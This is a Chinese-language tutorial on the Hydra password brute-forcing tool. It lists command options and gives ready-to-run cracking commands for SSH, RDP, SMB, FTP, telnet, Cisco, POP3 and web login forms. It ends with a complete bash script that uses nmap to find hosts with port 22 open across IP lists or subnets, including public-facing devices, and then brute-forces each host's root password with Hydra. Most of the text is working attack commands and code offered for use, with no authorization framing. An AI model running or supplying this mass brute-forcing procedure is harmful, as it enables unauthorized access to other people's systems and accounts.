Hydra爆破神器

  • 全能的暴力破解工具,功能强大,几乎支持所有的协议,是著名黑客组织thc开发的
  • 在Kali Linux下已经是默认安装的
  • hydra还支持GUI图形界面(xhydra)
    渗透工具-Hydra_ip地址

参数详解:

  • 帮助命令:hydra -h //查看基本用法

hydra [[[-l login|-L file] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w time] [-f] [-s PORT] [-S] [-vV] server service [OPT]

-R 继续从上一次进度接着破解。

-S 采用SSL链接。

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程。

server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get}

http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener

postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere

teamspeak sip vmauthd firebird ncp afp等等。

使用案例:

渗透工具-Hydra_php_02

使用hydra破解ssh的密码

hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

破解https:

# hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak:

# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco:

# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

破解smb:

# hydra -l administrator -P pass.txt IP smb

破解pop3:

# hydra -l muts -P pass.txt my.pop3.mail pop3

破解rdp 3389 :

hydra IP rdp -l administrator -P pass.txt -V

破解http-proxy:

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet

# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

破解ftp:

# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV

get方式提交,破解web登录:

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php

post方式提交,破解web登录:

  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:

<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>

假设有以上一个密码登录表单,我们执行命令:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form 
“index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>

说明:

  破解的用户名是admin,

  密码字典是pass.lst,

  破解结果保存在ok.lst,

  -t 是同时线程数为1,

  -f 是当破解了一个密码就停止,

  ip 是本地,就是目标ip,

  http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

  后面参数是网页中对应的表单字段的name 属性,

  后面

中的内容是表示错误猜解的返回信息提示,可以自定义。

批量

hydra -s 23 -V -l admin -p admin -t 16 -M IP地址目录 telnet
hydra -M target.txt rdp -L userlist.txt -P passwordlist.txt -V

渗透工具-Hydra_php_03

组合拳 端口服务 弱密码爆破检测工具

SSH登录密码的破解工具

批量 对IP列表 IP地址进行SSH登录破解

  • eg 批量爆破 密码 流程
    首先探测对方主机是否开启22端口,如开启,则尝试进行SSH密码爆破。
这里用到两款强大的开源工具。
一个是nmap,用来探测22端口是否开启;
另一个是hydra,用来爆破SSH登录密码。
shell脚本

渗透工具-Hydra_用户名_04

用nmap批量 扫描开放22端口的公网 设备,运行命令如下

nmap -vv -n –sS -sU -p22 -iL ./iplist.txt  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt

扫描iplist.txt IP地址是否开启22端口;

结果输出到22-output.txt

nmap -vv -n –sS -sU -p22 192.168.1.0/24  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt

对一个网段的扫描,也可以换成一个IP。

-sS和-sU都是扫描策略的选项,

两个一起使用,可以提高扫描的可靠性。

实际测试 (内网环境),

nmap 存在漏扫 提高 准确率

不断调整扫描策略

第二步为,读取22-output.txt文件中开放22端口的主机,

使用hydra工具进行密码爆破,使用的命令如下:

hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:"

这条命令的含义是采用密码本./password.txt中的密码,

对IP地址为:192.168.0.12的主机进行密码破解。

grep “host:”用来过滤打印的输出,只输出破解到密码的条目。

由于hydra一次只能对一个IP进行破解,

因此,在shell中写了一个循环,hydra一次任务结束后,

立即进行下一个IP的破解,

直到将22-output.txt文件中IP遍历完为止。

代码如下所示。

cat ./22-output.txt | while read line
do
echo "Current Task: ${line}"
hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
done

遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。

主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。

#!/bin/bash

if [ $# -lt 4 ]
#取得shell脚本参数个数 小于
# $0 取得脚本名度称(包含路径)
then
echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
exit 1
fi

while [ -n "$1" ]
#字符串不为null,长度大于零
do
case "$1" in
#表达式
-p)
#匹配模式
passfile=$2
#echo $passfile
shift
;;
-f)
nmap -vv -n -sS -sU -p22 -iL $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
# 从列表中输入 输出扫描结果
shift
;;
-l)
nmap -vv -n -sS -sU -p22 $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
shift
;;
*)
echo "$1 is not an option"
echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
exit 1
;;
esac
shift
done

echo "-----------port scan finished-----------"

chmod 666 ./22-output.txt

#echo `cat ./22-output.txt`

cat ./22-output.txt | while read line
#读取扫描结果
do
echo "Current Task: ${line}"
hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
# 根据密码字典爆破root
done

echo "-------password guessing finished-------"

这个程序做了一些参数传递的判断,核心代码行十分精简。

在使用程序之前,

需得在主机上安装nmap和hydra,Ubuntu下直接用apt安装。

运行很方便,下面是运行图,在内网环境下破解了3台主机的密码:

渗透工具-Hydra_ip地址_05

当然,能否破解成功,有一个好用的工具固然重要,但还需要一个强健的密码本。